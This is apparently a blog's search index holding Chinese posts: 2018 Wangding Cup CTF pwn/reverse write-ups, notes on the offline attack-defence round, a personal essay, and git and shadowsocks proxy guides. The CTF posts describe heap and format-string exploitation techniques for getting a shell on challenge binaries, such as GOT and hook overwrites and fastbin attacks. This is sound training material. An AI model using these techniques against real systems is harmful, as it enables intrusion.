<?xml version="1.0" encoding="utf-8"?>
<search>
  <entry>
    <title>[WDB-2018] 网鼎杯Bin题部分writeup</title>
    <url>/ctf/wdb-2018/</url>
    <content><![CDATA[<h2 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h2><p>此writeup包含4场网鼎杯大部分bin题，exp和二进制文件见附录</p>
<span id="more"></span>

<h2 id="场次"><a href="#场次" class="headerlink" title="场次"></a>场次</h2><h3 id="day1"><a href="#day1" class="headerlink" title="day1"></a>day1</h3><h4 id="RE"><a href="#RE" class="headerlink" title="RE"></a>RE</h4><p>beijing, advanced, blend</p>
<h4 id="PWN"><a href="#PWN" class="headerlink" title="PWN"></a>PWN</h4><p>guess, blind, babyheap, heylow, heylow2, hangman, easycoin</p>
<h3 id="day2"><a href="#day2" class="headerlink" title="day2"></a>day2</h3><h4 id="RE-1"><a href="#RE-1" class="headerlink" title="RE"></a>RE</h4><p>give_a_try, game, martricks, rua</p>
<h4 id="PWN-1"><a href="#PWN-1" class="headerlink" title="PWN"></a>PWN</h4><p>fmt, fgo, hvm, memffle</p>
<h3 id="day3"><a href="#day3" class="headerlink" title="day3"></a>day3</h3><h4 id="RE-2"><a href="#RE-2" class="headerlink" title="RE"></a>RE</h4><p>最好的语言, SimpleSMC, babyre, i_like_pack</p>
<p>暂无i_like_back的二进制文件</p>
<h4 id="PWN-2"><a href="#PWN-2" class="headerlink" title="PWN"></a>PWN</h4><p>note, note2, soEasy, pesp</p>
<h3 id="day4"><a href="#day4" class="headerlink" title="day4"></a>day4</h3><h4 id="RE-3"><a href="#RE-3" class="headerlink" title="RE"></a>RE</h4><p>chaoyang, compenc, dalao</p>
<h4 id="PWN-3"><a href="#PWN-3" class="headerlink" title="PWN"></a>PWN</h4><p>impossible, ipowtn, ipowtn2</p>
<h2 id="RE-4"><a href="#RE-4" class="headerlink" title="RE"></a>RE</h2><h3 id="beijing"><a href="#beijing" class="headerlink" title="beijing"></a>beijing</h3><p>脑洞题</p>
<p>把bytedump出来拿到<br>s &#x3D; ‘aLgYi)nBb\reqf4j\xc6m\x8al\x7f{\xaez\x92}\xec_W’<br>通过函数调用顺序得到下列序号<br>a&#x3D;[6, 9, 0, 1, 0xa, 0, 8, 0, 0xb, 2, 3, 1, 0xd, 4, 5, 2, 7, 2, 3, 1, 0xc]<br>s.find(‘f’), l, a, g得到[12, 18, 0, 2]<br>猜测flag为</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">s = <span class="string">&#x27;aLgYi)nBb\reqf4j\xc6m\x8al\x7f&#123;\xaez\x92&#125;\xec_W&#x27;</span></span><br><span class="line">a=[<span class="number">6</span>, <span class="number">9</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0xa</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">0xb</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="number">0xd</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="number">7</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="number">0xc</span>]</span><br><span class="line">ret = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> a:</span><br><span class="line">    ret += s[i*<span class="number">2</span>]</span><br><span class="line"><span class="built_in">print</span>(ret)</span><br></pre></td></tr></table></figure>
<h3 id="advanced"><a href="#advanced" class="headerlink" title="advanced"></a>advanced</h3><h3 id="blend"><a href="#blend" class="headerlink" title="blend"></a>blend</h3><h3 id="give-a-try"><a href="#give-a-try" class="headerlink" title="give_a_try"></a>give_a_try</h3><h3 id="game"><a href="#game" class="headerlink" title="game"></a>game</h3><h3 id="martricks"><a href="#martricks" class="headerlink" title="martricks"></a>martricks</h3><h3 id="rua"><a href="#rua" class="headerlink" title="rua"></a>rua</h3><h2 id="PWN-4"><a href="#PWN-4" class="headerlink" title="PWN"></a>PWN</h2><h3 id="guess"><a href="#guess" class="headerlink" title="guess"></a>guess</h3><p>程序存在栈溢出，同时fork了3次，也就是nc一次可以猜测3次flag，这3次程序的地址都不会发生变化</p>
<p>考虑通过<strong>stack smashing detected</strong> leak数据</p>
<p>第一次覆盖argv为got表地址，leak出libc的地址，计算出environ的位置</p>
<p>第二次覆盖其为environ的地址，leak出栈的地址，计算出flag的位置</p>
<p>第三次直接覆盖为flag的位置，计算出flag的值</p>
<p><img data-src="/ctf/wdb-2018/img/guess1.png" alt="guess1"></p>
<h3 id="blind"><a href="#blind" class="headerlink" title="blind"></a>blind</h3><p>blind是一个堆题，只允许malloc(0x68)的chunk，存在UAF，但是没有leak函数</p>
<p>考虑通过fastbin attack申请到bss段的内存，从而在bss段上伪造stdout的结构体以及其虚表，让他指向system(“&#x2F;bin&#x2F;sh”)，从而getshell</p>
<p>伪造的stdout如图</p>
<p><img data-src="/ctf/wdb-2018/img/blind1.png" alt="blind1"></p>
<p>伪造的虚表如图</p>
<p><img data-src="/ctf/wdb-2018/img/blind2.png" alt="blind"></p>
<h3 id="babyheap"><a href="#babyheap" class="headerlink" title="babyheap"></a>babyheap</h3><p>UAF，只允许malloc(0x20)的chunk</p>
<p>在leak出堆的地址后，用fastbin attack修改现有chunk信息，可根据下图构造出unlink的条件</p>
<p><img data-src="/ctf/wdb-2018/img/babyheap1.png" alt="babyheap1"></p>
<p>触发unlink后可以去除edit的次数限制，以及任意地址写，很容易leak出libc的基址，最后修改__malloc_hook为one_gadget即可</p>
<h3 id="heylow-amp-heylow2"><a href="#heylow-amp-heylow2" class="headerlink" title="heylow &amp; heylow2"></a>heylow &amp; heylow2</h3><p>程序比较大，但是有一个格式化字符串的漏洞，当输入出错时会触发报错，这时候会触发格式化字符串漏洞</p>
<p><img data-src="/ctf/wdb-2018/img/heylow1.png" alt="heylow1.png"></p>
<p>直接修改__free_hook为one_gadget然后使字符串很长触发malloc和free即可</p>
<p>heylow与heylow2的区别在于heylow2只允许printf小于0x4f的字符串，然而payload只要51 byte</p>
<p>所以一个payload可以打2个题</p>
<h3 id="hangman"><a href="#hangman" class="headerlink" title="hangman"></a>hangman</h3><p>暂空</p>
<h3 id="easycoin"><a href="#easycoin" class="headerlink" title="easycoin"></a>easycoin</h3><p>暂空</p>
<h3 id="fmt"><a href="#fmt" class="headerlink" title="fmt"></a>fmt</h3><p>本题存在格式化字符串漏洞</p>
<p><img data-src="/ctf/wdb-2018/img/fmt1.png" alt="fmt1"></p>
<p>修改got表为system然后printf&#x2F;bin&#x2F;sh即可getshell</p>
<h3 id="fgo"><a href="#fgo" class="headerlink" title="fgo"></a>fgo</h3><p>堆题，存在UAF</p>
<p><img data-src="/ctf/wdb-2018/img/fgo1.png" alt="fgo1"></p>
<p>可以看到在free后指针并没有清空</p>
<p>覆盖函数指针为printf后leak出libc地址</p>
<p>随后覆盖为system地址即可getshell</p>
<h3 id="hvm"><a href="#hvm" class="headerlink" title="hvm"></a>hvm</h3><p>这题是个虚拟机，逆向opcode结果为</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">rax x1</span><br><span class="line">rbx x2</span><br><span class="line">rcx x3</span><br><span class="line">rdx x4</span><br><span class="line">rsi x5</span><br><span class="line">rdi x6</span><br><span class="line"></span><br><span class="line">07 00 00 00 </span><br><span class="line">6F 0A 00 00 push 0xa6f</span><br><span class="line"></span><br><span class="line">07 00 00 00 </span><br><span class="line">68 65 6C 6C push 0x6c6c6568 // push hello</span><br><span class="line"></span><br><span class="line">0C 00 00 00 mov x5, stackptr // hello</span><br><span class="line"></span><br><span class="line">18 00 00 00 </span><br><span class="line">00 00 00 01 mov x6, 0x1</span><br><span class="line"></span><br><span class="line">04 00 00 00</span><br><span class="line">00 00 00 06 mov x4, 0x6</span><br><span class="line"></span><br><span class="line">01 00 00 00</span><br><span class="line">00 00 00 01 mov x1, 0x1</span><br><span class="line"></span><br><span class="line">0E 00 00 00 syscall</span><br><span class="line"></span><br><span class="line">14 00 00 00 push pcoffset</span><br><span class="line"></span><br><span class="line">05 00 00 00</span><br><span class="line">00 00 00 0E jmp next 0xe // jmp tag</span><br><span class="line"></span><br><span class="line">07 00 00 00 </span><br><span class="line">00 00 00 00 push 0</span><br><span class="line"></span><br><span class="line">07 00 00 00</span><br><span class="line">62 79 65 0A push 0xa657962 //bye\n</span><br><span class="line"></span><br><span class="line">0C 00 00 00 mov x5, stackptr</span><br><span class="line"></span><br><span class="line">18 00 00 00 </span><br><span class="line">00 00 00 01 mov x6, 0x1</span><br><span class="line"></span><br><span class="line">04 00 00 00 </span><br><span class="line">00 00 00 06 mov x4, 0x6</span><br><span class="line"></span><br><span class="line">01 00 00 00 </span><br><span class="line">00 00 00 01 mov x1, 0x1</span><br><span class="line"></span><br><span class="line">0E 00 00 00 syscall</span><br><span class="line"></span><br><span class="line">19 00 00 00 exit(0)</span><br><span class="line"></span><br><span class="line">10 00 00 00 push stackbase // tag</span><br><span class="line"></span><br><span class="line">11 00 00 00 mov stackbase, stackptr</span><br><span class="line"></span><br><span class="line">0F 00 00 00 </span><br><span class="line">00 00 00 30 sub stackptr, 0x30</span><br><span class="line"></span><br><span class="line">0C 00 00 00 mov x5, stackptr</span><br><span class="line"></span><br><span class="line">18 00 00 00</span><br><span class="line">00 00 00 00 mov x6, 0x0</span><br><span class="line"></span><br><span class="line">04 00 00 00</span><br><span class="line">00 00 00 F0 mov x4, 0xf0</span><br><span class="line"></span><br><span class="line">01 00 00 00</span><br><span class="line">00 00 00 00 mov x1, 0</span><br><span class="line"></span><br><span class="line">0E 00 00 00 syscall</span><br><span class="line"></span><br><span class="line">12 00 00 00 mov stackptr, stackbase</span><br><span class="line"></span><br><span class="line">13 00 00 00 pop stackbase</span><br><span class="line"></span><br><span class="line">06 00 00 00 jmp [stackptr]+3; pop //ret</span><br></pre></td></tr></table></figure>

<p>发现其虚拟栈上存在栈溢出</p>
<p>看源码发现虚拟代码段和虚拟栈都是mmap出来的</p>
<p><img data-src="/ctf/wdb-2018/img/hvm1.png" alt="hvm1.png"></p>
<p>gdb调试发现buf_addr &#x3D; stack_addr + 0x2000</p>
<p>考虑栈溢出将返回地址指向虚拟栈上，自己写入opcode后执行execve(‘&#x2F;bin&#x2F;sh’, NULL, NULL)</p>
<h3 id="memffle"><a href="#memffle" class="headerlink" title="memffle"></a>memffle</h3><p>题目要求输入组数据，并对其进行随机排序，可以输入无数个数据导致栈溢出</p>
<p>其中随机数生成使用了</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">srand(time(<span class="number">0</span>));</span><br></pre></td></tr></table></figure>

<p>若是在连接的同时本地也以当前时间作为种子，若是时间是同步的话，本地也可以生成和远程相同的随机队列。</p>
<p>逆向后可以得到生成随机序列的算法为</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">srand</span>():</span><br><span class="line">    libc[<span class="string">&#x27;srand&#x27;</span>](libc[<span class="string">&#x27;time&#x27;</span>](<span class="number">0</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rand</span>():    </span><br><span class="line">    <span class="keyword">return</span> libc[<span class="string">&#x27;rand&#x27;</span>]()</span><br><span class="line"><span class="comment"># 生成乱序序列</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">shuffling</span>(<span class="params">n</span>):</span><br><span class="line">    srand()</span><br><span class="line">    ret = []</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> xrange(n):</span><br><span class="line">        ret.append(i)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> xrange(n):</span><br><span class="line">        j = n - i - <span class="number">1</span></span><br><span class="line">        v = rand() % (j + <span class="number">1</span>)</span><br><span class="line">        ret[j],  ret[v] = ret[v], ret[j]</span><br><span class="line">    <span class="keyword">return</span> ret  </span><br></pre></td></tr></table></figure>

<p>查看read函数发现其末尾没有置零，同时还存在1byte的溢出</p>
<p><img data-src="/ctf/wdb-2018/img/memffle1.png" alt="memffle1.png"></p>
<p>可以在输入名字时把buff填满从而leak出canary</p>
<p>发现题目送了1byte的system的地址</p>
<p>通常system地址为0xf7abcdef 其中def固定，给出了bc，可以爆破出剩下的半byte的地址</p>
<p>直接rop即可</p>
<h3 id="note"><a href="#note" class="headerlink" title="note"></a>note</h3><h3 id="note2"><a href="#note2" class="headerlink" title="note2"></a>note2</h3><h3 id="soEasy"><a href="#soEasy" class="headerlink" title="soEasy"></a>soEasy</h3><h3 id="pesp"><a href="#pesp" class="headerlink" title="pesp"></a>pesp</h3><h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>暂空</p>
]]></content>
      <categories>
        <category>ctf</category>
        <category>writeup</category>
      </categories>
  </entry>
  <entry>
    <title>[WDB-offline-2018] 网鼎杯-2018线下记录</title>
    <url>/ctf/wdb-offline-2018/</url>
    <content><![CDATA[<h2 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h2><p>此writeup包含两天的pwn题，exp和二进制文件见附录</p>
<h2 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h2><p>这次线下并没有以CNSS来打，而是以DURA（Dianzikeji University Retired Ailliance）来打的。然而因为操作失误，把CNSS挤出了半决赛。。。。</p>
<p>不得不吐槽这次线下，比当时强网杯操蛋多了，怎么打个ctf还要断网的呢？？？怎么这check这么不靠谱的。</p>
<h3 id="Day1"><a href="#Day1" class="headerlink" title="Day1"></a>Day1</h3><p>Day1开场测试交题时发现zz icq给的接口居然有2s的cd，mmp，最后还是通过直接从平台抓包拿的接口交题的，不然永远在retry。被逼无奈只能把3个pwn和一个web的exp全部写在同一个py里面，统一交题，可以说是非常的蛋疼了。事实上解决这种问题的最好方法应该是写一个中心服务器，拿到flag就post给中心服务器，最后由中心服务器统一提交flag。</p>
<p>Day1可以说是打的心累，据说还有pwnable.tw的原题，然而我并没有做到，我好菜啊，差点被挤出决赛圈。同时午饭又冷又难吃，可以说是伙食最差的一场线下了。</p>
<span id="more"></span>

<h3 id="Day2"><a href="#Day2" class="headerlink" title="Day2"></a>Day2</h3><p>苟进决赛圈后，据说第二天是AWD+CTF，第一次见到3小时这么养生的线下。公告上说第二天有sm3，sm4的加密，并没有复盘day1的题，结果第二天一看，4个题，3pwn 1web，同时1pwn 1web是原题，jbdxbl。不知道为啥，第一天的脚本死都打不通，到比赛结束前半小时才发现由于主办方换了启服务的方式，将socat换成了xinetd，leak时本来用的recv(8)是没问题的，到了第二天就炸了，原因是recv不保证接收到8个字符，改成recvuntil或者想办法保证收到8个字符就没事了。。。。感觉亏了1k分….</p>
<p>除此之外，Day2的ctf全都是crypto，可以快乐摸鱼了，然而一个题都没做出来。事后问SJTU的师傅才知道是凯撒，我好菜啊orz。</p>
<p>感谢老大的帮助，最后终于苟进前15，终于有路费了orz</p>
<p><img data-src="/ctf/wdb-offline-2018/img/1.png" alt="1.png"></p>
<h3 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h3><p>说实话，这场线下题目质量不是很行。又有原题，其它题题目难度也不高，同时堆题一点检查都没有，把free给nop掉后居然还能过check，和强网杯的check强度根本没法比。</p>
<p>除了题目不太行以外，这一场线下有一堆诡异的事情，我明明pwn题都修好了，怎么还能被打进来的？？？？打进来就算了，怎么隔几轮打一次一点规律都没有的。。。事后了解到一些师傅都把pwn删了还能被拿走flag，怕不是打的ssh 0day哦。不得不说你们icq是真的厉害，是真的毒瘤。想到了最后几轮那几个服务全红还能一轮加400分，上分速度比eee还高，突然明白了什么。。。。。不愧是**任务，rbq，rbq。关于此事知乎上也有很多讨论，也不想吐槽了。。。</p>
<p>不过这次还是踩了几个坑，一个是题目的libc是2.17，还是RedHat的，本机不知道啥原因根本无法调试，堆题只能凭感觉打，还好比较简单，还是做出来了。这时才意识到需要魔改一下pwndbg让heap那几个命令能脱离符号表工作，不然下次碰上没符号表的libc只能等死了…..</p>
<p>同时这场并没有提供流量包，通防之前说要造然而到现在都没有造出来，感觉这记录流量+通防这坑需要填一下了….</p>
<p>说到底还是自己太菜了，看看隔壁长亭的exp师傅一个人打4个orz，太吓人了。。。</p>
<h2 id="Writeup"><a href="#Writeup" class="headerlink" title="Writeup"></a>Writeup</h2><p>pwn题的后缀为ip</p>
<h3 id="Day1-1"><a href="#Day1-1" class="headerlink" title="Day1"></a>Day1</h3><h4 id="pwn22"><a href="#pwn22" class="headerlink" title="pwn22"></a>pwn22</h4><p>由于在删除friend时并没有将userList中的指针置空从而导致了UAF</p>
<p><img data-src="/ctf/wdb-offline-2018/img/day1-pwn22-1.png" alt="day1-pwn22-1"></p>
<p>可以把自己当成朋友add后再delete自己，通过查看自己信息来leak出libc的基址</p>
<p>随后再注册一个账户，设置名字长度为0x128来获得之前free的chunk，可以把name设置为got表。</p>
<p>由于已经leak了，got表的值是已知的，登录第一个账户后修改用户信息即可修改got表为system，从而getshell</p>
<p>由于check很水，patch只要在plt让free直接ret即可。</p>
<h4 id="pwn24"><a href="#pwn24" class="headerlink" title="pwn24"></a>pwn24</h4><p>这题可以对pointer进行加减操作，并且还能打印rbq[pointer]的值和修改rbq[pointer]的值</p>
<p><img data-src="/ctf/wdb-offline-2018/img/day1-pwn24-1.png" alt="day1-pwn24-1"></p>
<p>由于可以++ –当pointer为负数时会导致它指向got表，从而leak数据+修改got表getshell</p>
<p>patch只需要在read前加个检查即可</p>
<h4 id="pwn25"><a href="#pwn25" class="headerlink" title="pwn25"></a>pwn25</h4><p>pwn25有两个洞，一个是delete mark时会导致double free，另一个则是edit_mark时存在堆溢出..</p>
<p>由于堆上有函数指针，并不考虑去走double free，因为太好修复了，打的堆溢出的洞，并没有使用到free。</p>
<p><img data-src="/ctf/wdb-offline-2018/img/day1-pwn25-1.png" alt="day1-pwn25-1"></p>
<p>结构体如图</p>
<p>首先可以先通过写满0x40 byte，由于没有\x00截断，可以leak出函数指针，既程序基址</p>
<p>有了程序基址就可以通过覆盖markInfo来进行任意leak和任意地址写</p>
<h3 id="Day2-1"><a href="#Day2-1" class="headerlink" title="Day2"></a>Day2</h3><p>pwn23为第一天的pwn24</p>
<h4 id="pwn24-1"><a href="#pwn24-1" class="headerlink" title="pwn24"></a>pwn24</h4><p>没有技术含量的栈溢出，直接覆盖返回地址为system即可</p>
<h4 id="pwn25-1"><a href="#pwn25-1" class="headerlink" title="pwn25"></a>pwn25</h4><p>还是栈溢出</p>
<p><img data-src="/ctf/wdb-offline-2018/img/day2-pwn25-1.png" alt="day2-pwn25-1"></p>
<p>可以先覆盖fd为0，从而读入的内容可以控制，随后栈溢出即可</p>
<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>题目以及exp：<a href="wdb-2018-offline.zip">wdb-2018-offline.zip</a></p>
]]></content>
      <categories>
        <category>ctf</category>
        <category>writeup</category>
      </categories>
  </entry>
  <entry>
    <title>过去，现在，将来？</title>
    <url>/essay/some-thoughts-about-now/</url>
    <content><![CDATA[<p>不要吐槽文笔，我也很绝望啊</p>
<p>从16年9月到现在已经8个月了，想当初刚来UESTC时还信誓旦旦的说自己一定会参加ACM，如今却和一条咸鱼差不多，现在来看，怕是如今的水平都不如高一刚参加NOIP时。</p>
<p>上星期和队友一起撸了12小时题后，也就撸了5题，侥幸进入决赛，还获得了一条咸鱼T恤</p>
<p><img data-src="/essay/some-thoughts-about-now/1.jpg" alt="pic"></p>
<p>然而决赛的5个小时中也就做了个签到题以及一个tle的E题，虽然没有之前APIO爆0那么可怕，但是还是感觉到自己已经离ACM这条路越来越远。要说这次决赛的收获的话怕是只有一个咸鱼的签到气球以及让我更好的审视自己。</p>
<span id="more"></span>

<p>回看这几个月，该过的四级没过，线代学的和屎一样，虽然进了凝聚，希望在pwn发展，然而现在不过是一个stack overflow都没有完全掌握的咸鱼，更不用说堆溢出，更别说现在挖的一堆坑：UDP打洞，dockker，内核源码，js，Qt，感觉完全看不到尽头。现在也就魔改了一下blog，把去年挖的blog的坑给填上了，这有怎样呢</p>
<p>现在校赛结束了，最后也就61名，感觉是所有队伍中最咸鱼的了，对于几个月后的暑假集训是否要参加也是一脸懵逼（怕是报名的资格都没有）</p>
<p>现在自己越来越急躁，以前能静下心来刷刷题，高一时还能刷刷OJ，看看书，如今连一个英文文档都读不下去，什么都不想干，拖延症越来越重，说好的每天跑步到现在一次都没有践行。</p>
<p>现在的话，也就现在凝聚这呆着吧。当时初中自学的一些逆向虽然在现在看起来不值得一提，但是还是感觉相比ACM，我还是更加喜欢ctf里的东西。至于ACM，感觉和NOI这一类竞赛一样更像一场赌博吧，虽然学校对其待遇甚高但是同时也要面对更大的压力。如果有空的话就去ACM看看，或许还能捞个奖？（做梦呢）</p>
<p>在UESTC，大佬多，废物也多，这话看起来并不是十分的政治正确，但是不想变成废物那只有成为大佬。</p>
<p>自勉</p>
<p>以上</p>
]]></content>
      <categories>
        <category>essay</category>
      </categories>
  </entry>
  <entry>
    <title>git代理设置</title>
    <url>/linux/configure-git-proxy/</url>
    <content><![CDATA[<p>在天朝，由于某些原因，国人访问github的速度异常的慢，尤其是使用git clone项目时。</p>
<p>git目前支持4种协议，git，ssh，http，https，可以通过配置这四种协议的代理来加速git的使用。</p>
<p>本文默认浏览者使用linux系统并且拥有代理服务器</p>
<h2 id="代理ssh协议"><a href="#代理ssh协议" class="headerlink" title="代理ssh协议"></a>代理ssh协议</h2><h3 id="安装connect-proxy"><a href="#安装connect-proxy" class="headerlink" title="安装connect-proxy"></a>安装connect-proxy</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt install connect-proxy</span><br></pre></td></tr></table></figure>

<span id="more"></span>

<h3 id="修改ssh设置"><a href="#修改ssh设置" class="headerlink" title="修改ssh设置"></a>修改ssh设置</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> ~/.ssh</span><br><span class="line">nano ~/.ssh/config</span><br></pre></td></tr></table></figure>

<p>然后在文件最后加入</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">Host github.com *github.com</span><br><span class="line">ProxyCommand connect-proxy -H 127.0.0.1:8118 %h %p</span><br><span class="line">User git</span><br></pre></td></tr></table></figure>

<p>此处仅支持http代理服务器，请根据自身情况修改地址与端口</p>
<p>上面的配置会通知ssh，在连接github.com和*.github.com时使用代理，用户为git，并配置代理命令</p>
<p>connect-proxy的作用为使用127.0.0.1:8118作为http proxy，透过代理服务器建立一个指向 %h:%p 的socket，并将其重定向到stdin，stdout中</p>
<h2 id="代理http协议"><a href="#代理http协议" class="headerlink" title="代理http协议"></a>代理http协议</h2><p>bash中输入</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git config --global http.proxy <span class="string">&#x27;socks5://127.0.0.1:1080&#x27;</span></span><br></pre></td></tr></table></figure>

<p>若代理服务器为http，则改为<code>http://</code>，代理服务器地址以及端口请自行变换</p>
<p>以下设置同上</p>
<h2 id="代理https协议"><a href="#代理https协议" class="headerlink" title="代理https协议"></a>代理https协议</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git config --global https.proxy <span class="string">&#x27;socks5://127.0.0.1:1080&#x27;</span></span><br></pre></td></tr></table></figure>

<h2 id="代理git协议"><a href="#代理git协议" class="headerlink" title="代理git协议"></a>代理git协议</h2><p>这个协议比较少见，仅作记录</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git config --global core.gitproxy <span class="string">&#x27;/path/to/gitproxy&#x27;</span></span><br></pre></td></tr></table></figure>

<p>其中&#x2F;path&#x2F;to&#x2F;gitproxy为一个脚本，可使用connect-proxy来实现</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Proxy wrapper for git protocol (9418).</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># git config --global core.gitproxy &quot;ido gitproxy&quot;</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="built_in">exec</span> connect-proxy -H 127.0.0.1:8118 <span class="variable">$1</span> <span class="variable">$2</span></span><br></pre></td></tr></table></figure>
]]></content>
      <categories>
        <category>linux</category>
      </categories>
  </entry>
  <entry>
    <title>linux下配置shadowsocks客户端</title>
    <url>/linux/configure-ss-client/</url>
    <content><![CDATA[<h2 id="安装shadowsocks"><a href="#安装shadowsocks" class="headerlink" title="安装shadowsocks"></a>安装shadowsocks</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt install python3</span><br><span class="line">sudo apt install python3-pip</span><br><span class="line">pip3 install shadowsocks</span><br></pre></td></tr></table></figure>

<span id="more"></span>

<h2 id="创建配置文件"><a href="#创建配置文件" class="headerlink" title="创建配置文件"></a>创建配置文件</h2><p>新建一个ss.json</p>
<p>输入</p>
<figure class="highlight json"><table><tr><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">	<span class="attr">&quot;server&quot;</span> <span class="punctuation">:</span> <span class="string">&quot;ip&quot;</span><span class="punctuation">,</span></span><br><span class="line">	<span class="attr">&quot;server_port&quot;</span> <span class="punctuation">:</span> <span class="number">443</span><span class="punctuation">,</span></span><br><span class="line">	<span class="attr">&quot;local_port&quot;</span> <span class="punctuation">:</span> <span class="number">1080</span><span class="punctuation">,</span></span><br><span class="line">	<span class="attr">&quot;password&quot;</span> <span class="punctuation">:</span> <span class="string">&quot;passwd&quot;</span><span class="punctuation">,</span></span><br><span class="line">	<span class="attr">&quot;timeout&quot;</span> <span class="punctuation">:</span> <span class="number">600</span><span class="punctuation">,</span></span><br><span class="line">	<span class="attr">&quot;method&quot;</span> <span class="punctuation">:</span> <span class="string">&quot;chacha20&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure>

<p>保存</p>
<h3 id="启动shadowsocks"><a href="#启动shadowsocks" class="headerlink" title="启动shadowsocks"></a>启动shadowsocks</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sslocal -c ss.json</span><br></pre></td></tr></table></figure>

<p>这样shadowsocks就在1080端口开放了</p>
<h3 id="pac设置"><a href="#pac设置" class="headerlink" title="pac设置"></a>pac设置</h3><p>如果设置全局代理，往往会导致访问国内网站变慢，于是需要设置pac代理</p>
<h4 id="安装genpac并配置pac文件"><a href="#安装genpac并配置pac文件" class="headerlink" title="安装genpac并配置pac文件"></a>安装genpac并配置pac文件</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">pip3 install genpac</span><br><span class="line">genpac --proxy=<span class="string">&quot;SOCKS5 127.0.0.1:1080&quot;</span> --gfwlist-proxy=<span class="string">&quot;SOCKS5 127.0.0.1:1080&quot;</span> -o autoproxy.pac --gfwlist-url=<span class="string">&quot;http://www.woodbunny.com/gfwlist.txt&quot;</span></span><br></pre></td></tr></table></figure>

<h4 id="设置代理"><a href="#设置代理" class="headerlink" title="设置代理"></a>设置代理</h4><p>之后在设置-网络-网络代理中，自动代理目录中输入pac目录路径即可</p>
<p>例：file:&#x2F;&#x2F;&#x2F;home&#x2F;plusls&#x2F;ss&#x2F;autoproxy.pac</p>
<h4 id="浏览器设置"><a href="#浏览器设置" class="headerlink" title="浏览器设置"></a>浏览器设置</h4><p>在浏览器的代理设置中使用系统代理即可</p>
<h3 id="设置http代理"><a href="#设置http代理" class="headerlink" title="设置http代理"></a>设置http代理</h3><p>由于一些软件只支持http协议，我们需要安装privoxy来将http协议转为socks5</p>
<p>安装并配置privoxy</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt-get install privoxy</span><br><span class="line">sudo gedit /etc/privoxy/config</span><br></pre></td></tr></table></figure>

<p>在gedit中查找</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">forward-socks5t</span><br></pre></td></tr></table></figure>

<p>去掉前面的#并修改为</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">forward-socks5t   /               127.0.0.1:1080</span><br></pre></td></tr></table></figure>

<p>再次查找</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">listen-address  127.0.0.1:8118</span><br></pre></td></tr></table></figure>

<p>去掉前面的# 保存文件后输入</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">service privoxy start</span><br></pre></td></tr></table></figure>

<p>若是终端需要代理，输入</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> https_proxy=http://127.0.0.1:8118</span><br><span class="line"><span class="built_in">export</span> http_proxy=http://127.0.0.1:8118</span><br><span class="line"><span class="built_in">export</span> ftp_proxy=http://127.0.0.1:8118</span><br></pre></td></tr></table></figure>

<p>即可</p>
]]></content>
      <categories>
        <category>linux</category>
      </categories>
  </entry>
  <entry>
    <title>linux下配置shadowsocks服务端</title>
    <url>/linux/configure-ss-server/</url>
    <content><![CDATA[<h2 id="安装shadowsocks"><a href="#安装shadowsocks" class="headerlink" title="安装shadowsocks"></a>安装shadowsocks</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt install python3</span><br><span class="line">sudo apt install python3-pip</span><br><span class="line">pip3 install shadowsocks</span><br></pre></td></tr></table></figure>

<span id="more"></span>

<h2 id="创建配置文件"><a href="#创建配置文件" class="headerlink" title="创建配置文件"></a>创建配置文件</h2><p>新建一个ss.json</p>
<p>输入</p>
